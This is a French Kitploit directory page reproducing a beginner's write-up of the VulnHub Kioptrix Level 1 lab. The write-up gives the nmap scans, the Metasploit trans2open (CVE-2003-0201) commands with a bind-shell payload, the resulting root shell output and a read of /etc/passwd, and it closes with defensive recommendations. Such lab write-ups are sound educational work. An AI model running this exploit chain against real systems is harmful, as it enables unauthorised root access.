Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/americooo/pentest-writeups
Escalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationPost-ExploitationCTFTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubamericooo/pentest-writeups

pentest-writeups

Write-up de Kioptrix Level 1 - CVE-2003-0201 Samba trans2open

Voir le dépôt
31il y a 4 moisPas encore vérifié
Partager

pentest-writeups

Writeup Kioptrix Level 1 - CVE-2003-0201 Samba trans2open

Kioptrix Level 1 — Writeup de test de pénétration

Auteur : Amirbek Raxmatullayev (@americo_444)
Date : 2026-06-17
Plateforme : VulnHub
Difficulté : Débutant
Objectif : Obtenir un accès root


1. Configuration de l'environnement

ComposantDétails
OS hôteUbuntu 26.04
HyperviseurQEMU/KVM
CibleKioptrix Level 1 (VMDK)
IP de l'attaquant192.168.56.1
IP de la cible192.168.56.101

Remarque : VirtualBox était incompatible avec le noyau 7.0.0-22-generic en raison d'un conflit d'espace de noms DKMS/KVM. Basculement vers QEMU/KVM et chargement direct du VMDK sans conversion.

qemu-system-x86_64 \
  -m 512 \
  -drive file="Kioptix Level 1.vmdk",format=vmdk \
  -netdev bridge,id=net0,br=virbr0 \
  -device e1000,netdev=net0 \
  -display gtk

2. Reconnaissance

2.1 Découverte d'hôtes

nmap -sn 192.168.56.0/24

Résultat : cible identifiée à 192.168.56.101

2.2 Scan complet des ports et services

nmap -sV -sC -p- 192.168.56.101

Ports ouverts :

PortServiceVersion
22/tcpSSHOpenSSH 2.9p2
80/tcpHTTPApache 1.3.20
111/tcpRPCrpcbind 2
139/tcpSMBSamba 2.2.1a
443/tcpHTTPSmod_ssl/2.8.4
32768/tcpStatusRPC #100024

2.3 Énumération de la version SMB

msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
  set RHOSTS 192.168.56.101; run; exit"

Résultat : Samba 2.2.1a — version gravement vulnérable confirmée.


3. Analyse de la vulnérabilité

CVE-2003-0201 — Débordement de tampon Samba trans2open

Description :
Les versions 2.2.x de Samba contiennent une vulnérabilité de débordement de tampon basé sur la pile dans la fonction trans2open. Cela permet à un attaquant distant non authentifié d'exécuter du code arbitraire en tant que root.

Versions affectées : Samba 2.0.x — 2.2.8
Score CVSS : 10.0 (Critique)
Module d'exploitation : exploit/linux/samba/trans2open


4. Exploitation

4.1 Configuration Metasploit

msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run

Pourquoi bind_tcp plutôt que reverse_tcp ?
La charge utile reverse_tcp a échoué car la VM Kioptrix ne pouvait pas joindre l'attaquant via la configuration NAT/pont. Avec bind_tcp, l'attaquant se connecte à la cible — aucune connexion sortante n'est requise depuis la victime.

4.2 Sortie de l'exploitation

[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)

Shell obtenu ! ✅


5. Post-exploitation

whoami
# root

id
# uid=0(root) gid=0(root) groups=99(nobody)

hostname
# kioptrix.level1

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash

Informations système :

  • OS : Red Hat Linux, noyau 2.4.7 (construit en 2001)
  • Utilisateurs locaux découverts : root, john, harold

6. Chaîne d'attaque

[Attacker: 192.168.56.1]
        |
        | Step 1: nmap full port scan
        v
[Target: 192.168.56.101]
        |
        | Step 2: Samba 2.2.1a identified
        v
[Metasploit — trans2open exploit]
        |
        | Step 3: Stack buffer overflow triggered
        v
[Bind shell opened on port 4444]
        |
        | Step 4: whoami = root
        v
[TARGET PWNED]

7. Enseignements clés

Ce que j'ai appris :

  • Mettre en place un environnement de laboratoire avec QEMU/KVM lorsque VirtualBox échoue
  • Prise d'empreinte des services avec nmap -sV -sC
  • Énumération SMB à l'aide des modules auxiliaires de Metasploit
  • Comprendre CVE-2003-0201 — les mécanismes du débordement de tampon de pile
  • La différence entre les charges utiles bind_tcp et reverse_tcp et savoir quand utiliser chacune

Recommandations défensives (Blue Team) :

  1. Mettre à niveau Samba vers la version 3.x ou une version ultérieure
  2. Restreindre les ports 139/445 via le pare-feu — n'autoriser que les hôtes internes de confiance
  3. Appliquer tous les correctifs OS et services disponibles
  4. Mettre en place la segmentation du réseau — SMB ne doit jamais être exposé à l'extérieur
  5. Déployer des règles IDS/IPS pour détecter les tentatives de débordement de tampon sur SMB

8. Outils utilisés

OutilRôle
nmapScan de ports, détection de services/versions
Metasploit FrameworkÉnumération SMB, exploitation
QEMU/KVMVirtualisation du laboratoire
arp-scanDécouverte d'hôtes

9. Références

  • CVE-2003-0201 — NVD
  • Rapid7 — Module trans2open
  • VulnHub — Kioptrix Level 1

Écrit par Amirbek Raxmatullayev | BEK Coders Security Research | 2026

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    851
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    538
  • 3

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    297
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    280

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →